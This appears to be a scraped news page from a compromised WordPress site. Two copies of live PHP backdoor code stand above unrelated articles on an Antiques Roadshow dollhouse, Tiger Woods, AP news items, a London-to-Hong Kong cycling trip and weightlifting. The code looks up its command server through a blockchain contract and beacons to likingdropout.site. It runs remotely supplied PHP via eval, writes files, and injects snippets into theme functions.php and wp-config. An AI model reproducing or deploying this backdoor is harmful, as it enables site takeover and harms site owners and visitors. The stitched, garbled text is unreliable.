Joshua Cunningham
May 16, 2018
// q2_xh
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// q2_xh',
'vis'=>'// xp_v9',
'vis_func'=>'wp_dia8xd',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_47nl0jvi',
);
$keys=array();
$keys['id']='kun';
$keys['ver']='em';
$keys['caps']='eby';
$keys['tasks']='awd';
$keys['interval']='pww';
$keys['ack_id']='nl0';
$keys['ok']='9s';
$keys['detail']='wyy';
$keys['inv']='kxw';
$keys['result']='f3t';
$hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
// l0_9z
if(!defined('ABSPATH'))return;
$cfg=array(
'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php',
'ctrl'=>'// l0_9z',
'vis'=>'// zn_yn',
'vis_func'=>'wp_cuzg8t',
'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'),
'opt'=>'_wp_mtrhds4x',
);
$keys=array();
$keys['id']='ybc';
$keys['ver']='a1';
$keys['caps']='afo';
$keys['tasks']='x9t';
$keys['interval']='2e4';
$keys['ack_id']='k72';
$keys['ok']='ch';
$keys['detail']='xd9';
$keys['inv']='hw8';
$keys['result']='0bb';
$hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420;
function _ea_inv($cfg){
$r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION);
$chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o;
if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;};
$r['stub']=$chk($cfg['stub'],$cfg['ctrl']);
$vis=array('plugin'=>null,'paths'=>array());
foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);}
$found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}}
if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}}
$vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false);
$r['visitor']=$vis;
$mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins';
if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}}
$r['mu_autologin']=$mu;
$ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}}
$r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw);
$wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false);
if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));}
$r['wpconfig_inject']=$wpc;
$cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc';
if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache';
if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status'));
return $r;}
function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){
$_ok=false;$_detail='';$_result=null;
$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0;
if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){
$_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):'';
if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content'];
elseif($_code==='wf')$_body=$_p['content'];
$_ok=@file_put_contents($_path,$_body)!==false;
}elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){
$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='rp'&&!empty($_p['code'])){
ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();}
$_result=array('output'=>ob_get_clean());}
elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;}
elseif($_code==='fc'){
$p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';}
if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';}
if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';}
if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';}
if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';}
if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';}
if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';}
$_ok=true;$_result=array('purged'=>$p);}
elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){
@wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false;
}elseif($_code==='fn'&&!empty($_p['snippet'])){
$td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}}
$_ok=$n>0;$_result=array('themes_updated'=>$n);}
elseif($_code==='wc'){
$wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp);
if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);}
$b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;}
}
$ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail);
if($_result!==null)$ack[$keys['result']]=$_result;
return $ack;}
function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){
$k=$cfg['opt'];if(!$force&&!wp_doing_cron()){
if(is_admin())return;
$last=(int)get_option($k,0);if(time()-$last<$interval)return;
}
$u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public');
foreach($rpcs as $_rpc){
$b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest')));
$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true)));
$raw=@file_get_contents($_rpc,false,$ctx);
if(!$raw)continue;
$j=json_decode($raw,true);
if(empty($j['result'])||strlen($j['result'])<10)continue;
$h=substr($j['result'],2);
if(strlen($h)<128)continue;
$off=(int)hexdec(substr($h,0,64));
$len=(int)hexdec(substr($h,$off*2,64));
$_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break;
}
$_hp='/panel/api/v1/metrics/collect';
$_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z);
if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');}
$_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site';
$_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10);
$u='https://'.$_s.'.'.$_z.$_hp;
$_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack';
$inv=_ea_inv($cfg);
$b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv);
$resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);}
if(!$resp)return;
update_option($k,time(),false);
$j=json_decode($resp,true);$tk=$keys['tasks'];
if(empty($j[$tk])||!is_array($j[$tk]))return;
foreach($j[$tk] as $_task){
$ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id);
if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);}
}
}
add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;});
add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync');
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false);
},1);
add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){
_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true);
});
The guest brought along a charming looking old dollhouse, which was revealed to be a butcher’s shop on the BBC show. Antiques Roadshow expert Fergus Gambon took a look at the item in order to assess how much it was worth. It was clear he was taken by the piece as “unique” and that he’d never seen one like it before. Opening up the house, Fergus pointed to the bits of carved meats hanging from the ceiling and walls of the house. He noted: “Look at that, meats of every kind all picked out in glorious technicolour. It really is a slaughter house.” Fergus went on to ask the guest where she acquired the antique. “I bought this butcher’s shop about 10 years ago from a dealer online from Switzerland. Whether it’s Swiss, I don’t know that’s what I’m here for you to tell me.” “To me it just smells English it just feels English the architecture looks early 19th century and English,” Fergus replied. He continued: “Perhaps the most extraordinary thing about the facade is the brickwork because it’s black. “It reminds me of the faux bricks that were used on timber framed buildings in the 18th Century which are called mathematical tiles and predominate down the East coast of England from Sussex right up to Suffolk where we are now. “It’s a little bit too sophisticated for something that would’ve been made perhaps by a father for his child. READ MORE: Antiques Roadshow: ‘Breaks the rules’ Expert stunned by price of 200-year-old birdcage “It’s sort of half a dolls house and half a model of a butchers.” “I love doll houses like you do and I have never seen anything like this. The interior is relatively plain, It’s only a rudimentary attempt to create any kind of architectural detail at all and what’s inside is of interest. “Did you put that in there?” he asked. The guest answered: “No, most of the meats came with it, the doll I did put in here because it didn’t have a butcher.” “It needed a butcher,” Fergus noted. The guest added: “I put in the small table which I think is probably a candle stand.” “It really is an incredible period piece,” Fergus remarked. “To think from the early 19th century these little pieces of carved meat have probably hung there and that this toy was created 200 years ago and remains in one piece in such remarkable condition.” “What did you pay for it?” he asked to which the guest retorted: “I paid about £700 for it and it seemed an awful lot of money 10 years ago it seemed an arm and a leg.” Fergus then announced: “I think it’s a very important early 19th century English toy, it’s probably unique, it’s in remarkable condition and I think with its contents it’s worth six to eight thousand pounds.” “Oh, right,” the guest replied, clearly taken aback by the valuation. “Well thank you very much indeed that’s been really lovely.” Antiques Roadshow continues Sunday at 8pm on BBC One.
“Ink Stories” opens Thursday at New York’s Emmanuel Fremin Gallery, but here’s a sneak peek of this enchanting show.

https://flavorwire.files.wordpress.com/2019/02/reka-nyari-banner.png
It’s been some journey for Woods over the past 12 months and he has marked his return to form by winning his first PGA Tour event since 2013.
Woods was still recovering from spinal fusion surgery this time last year with even the most ardent fans pessimistic about seeing the golf legend return to his best.
A promising performance at the Hero World Challenge in November – finishing ninth – gave hope to those hoping to see Woods return to former glory.
But nobody could have foreseen the campaign the 42-year-old has undergone in 2018.
He began the year ranked No 656 but soon shot up the rankings after finished tied-second at the Valspar Championships before a fifth-placed finish at the Arnold Palmer Invitational.
He rolled back the years at the Masters, donning his famous Sunday red and carded a 69.
Missing the cut at the US Open threatened to de-rail his campaign but returned weeks later by finishing tied-fourth at the Quicken Loans National.
The 14-time major champion got everyone out of their seats at The Open Championships as he held the lead on the final day, only to fall heartbreakingly short.
Tiger Frenzy was in full force at the PGA Championship though as he shot his lowest final round ever in a major.
It wasn’t enough to claim his first win on the Tour in five years, finishing two shots back from Brooks Koepka.
But fans were confident of seeing him finally reach win number 80.
And it finally came in Woods’ final PGA tour event of the season at East Lake.
As the winning moment drew nearer on Sunday, Woods admitted his emotions almost got the better of him.
“I was having a hard time not crying,” Woods said.
“I just can’t believe I pulled this off. It’s been tough.
“I’ve had a not so easy last couple years.”
Attention exhausted parents: The next time your toddler starts making strange noises or babbling about Paw Patrol, try to strike up a conversation — it could make a big difference later, researchers say.
]]>
Rates of C. difficile, the most common infectious cause of diarrhea in hospitalized patients in Canada, have decreased 36 per cent. Researchers say improvements in infection-control measures may have contributed to the decrease.
]]>
Alex Brandon/AP
WASHINGTON (AP) — A secret backchannel led by a veteran Republican Senate staffer and a flamboyant Venezuelan official nicknamed “Dracula” broke through hostile relations between the two governments to secure the release of American prisoner Joshua Holt, who traveled to the South American country for love and ended up in jail, without a trial, for two years.
A week ago the chances of Holt’s long ordeal ending any time soon looked slim.See the rest of the story at Business Insider
See Also:
SEE ALSO: These photos of prison cells around the world show how differently countries treat their criminals
DON’T MISS: The US is hitting Venezuela with more sanctions to stop ‘smash-and-grab’ behavior
![]()
Joshua Cunningham
May 16, 2018
In 2015, Joshua Cunningham rode his bike from London to Hong Kong. His journey took him some 12 months and 21,000 kilometers (13,000 miles), through 26 countries. Here, he shares some of the photographs and tales he collected along the way.
“It is by riding a bicycle that you learn the contours of a country best,” Ernest Hemingway once wrote, “since you have to sweat up the hills and coast down them.”
The bicycle travel experience is one of complete immersion—in place, people, terrain, climate, culture and cuisine. By traveling through a region, as opposed to skipping between locations within it, you have yourself the opportunity to see everything the guidebooks literally miss out—and everything that they would actively choose to avoid too.
And as I made my way across the Eurasian landmass in 2015, the depth of Hemingway’s words became abundantly clear.
On the subject of time off the bike—whether it’s asking for directions, buying fruit and vegetables or refusing cheap tobacco, as a cycle tourist, you’re continuously meeting new people. Not only that, but cycle tourists will forever be indebted to the sheer kindness of strangers. Being the recipient of so much help and hospitality restores your faith in the world and its inhabitants; it’s nice to realize that most people are fundamentally good.
RELATED: Cycling around the world on $ 5 a day
For example, in Azerbaijan, Nile put us up for the night in his modest roadside café. He brought us hot tea, showed us a darkened backroom, plugged in a heater, and said goodnight before bringing us chocolate bars and more tea. We were complete strangers to him, but his hospitality was a lesson to both me and my traveling companion
On another occasion, after navigating through Europe, the plains of inland Turkey proved a challenge. The bitter chill of a still-wintry March, combined with the empty expanses and snow-capped peaks of the country’s interior plateau, made riding difficult. At least the riding was more enjoyable than when the clay roads forced us to walk our bikes for hours at a time, stopping every now and then to free the wheels.
And that road gave us plenty of opportunities to get to know the local shepherds. As well as one of the oldest professions, shepherding must also be one of the world’s most prolific, practised across a huge number of nations and cultures by men and women, old and young. Even in some of the most remote regions and inhospitable conditions, we would meet shepherds on the road and do our best to trade a few pleasantries; each party equally surprised to have some company for a while.
RELATED: Uzbekistan’s modern-day pilgrims
We crossed the Caspian Sea on a three-day freight ship journey from Azerbaijan, and arrived at the edge of the Mangyshlak Peninsula in Kazakhstan. What lay ahead were hundreds of miles of absolutely nothing, in every direction.
We rode. And as the Kazakh steppe merged seamlessly into the Uzbek desert, we were faced with the familiar challenge of long distances between towns and resupply points. Every few days, we would hit upon a welcoming oasis of life and take time to stop and recalibrate.
After two weeks of traveling from the Tajik capital of Dushanbe, east along the Afghan border and over the first passes of the Pamir plateau, we descended into the former Soviet military post of Murghab. The only significant settlement for hundreds of square miles, it was our sole opportunity to fix broken bikes, resupply food stocks, and begin the lengthy process of applying for our Pakistan visas before heading back into the unconnected world.
RELATED: How mountain biking is saving tiny towns
As we left Tajikistan behind, the alpine meadows and rolling green pastures of Kyrgyzstan were a welcome sight. The two lads pictured above were the first people we met after crossing the border—they’d run to intersect our path after spotting us from their yurt. After seven weeks in the country, waiting for our passports to return from an agency in the UK, we’d meet many more like them; nomadic families who spend their winters in the valley villages, and their summers tending horses up in the high pastures.
We entered China and were surprised to find that the much of the local population shared their heritage with lands beyond their borders—as seen above by a Kyrgyz yurt camp along the Khunjerab pass that forms the Pakistani border. This junction of Chinese, Kyrgyz, Tajik, Afghan and Pakistani borders is extremely culturally porous, and goes to show how meaningless a line drawn on a map can sometimes be.
To get out of the high mountains of Pakistan, we first had to cross Attabad Lake. Formed after a landslide submerged an entire village and the famous Karakoram Highway road, the lake is now a barrier between the far north of Pakistan and the rest of the country. Cars, buses, trucks, livestock, food, people—everything, including us—must be loaded onto precariously tiny ferries and shipped across. While irresistibly beautiful for an outsider, it has been a life-changing event for thousands of locals, who wait eagerly for the new road, perched on the cliff side above, to be completed.
Are you curious about lifting weights but not sure why you should get started?
You’re in the right place!
I’ll be revealing the mind and body benefits of lifting weights and tell you why it will literally transform your life.
Discover the secret of strength training for women, and why you should start today.
We all could use more friends! Although, many times our insecurity about our bodies and our appearances can prevent us from presenting our best selves in the world.
This lack of confidence we have about our identity can be enough to stop us from seeking new relationships both offline and online.
Lifting weights can and will positively change how you feel about yourself. You will experience a boost of self-confidence in many areas of your life such as your in career, in your personal relationships, and especially the relationship you have with yourself.
Confident people are linked with higher incomes, more friends, and–if you’re single–with having more desirable characteristics as a potential mate.
Increased self-confidence creates more opportunities to strengthen current relationships and attract additional relationships because you were assertive enough to seek them out.
New friends and contacts lead to richer life experiences and expanded opportunities in all areas of your life.
Weight training helps you put yourself out there more often and gives you the self-confidence to believe that people will value what you have to offer.
If you’ve ever seen the before and after images on your Instagram or Facebook feed, then you know fitness inspiration pictures are all the rage these days.
The most interesting before and after photos are the ones where women weigh the same in both pictures but look totally different. Not only are they leaner, trimmer, and more toned but their weight hasn’t changed!
How is this possible?
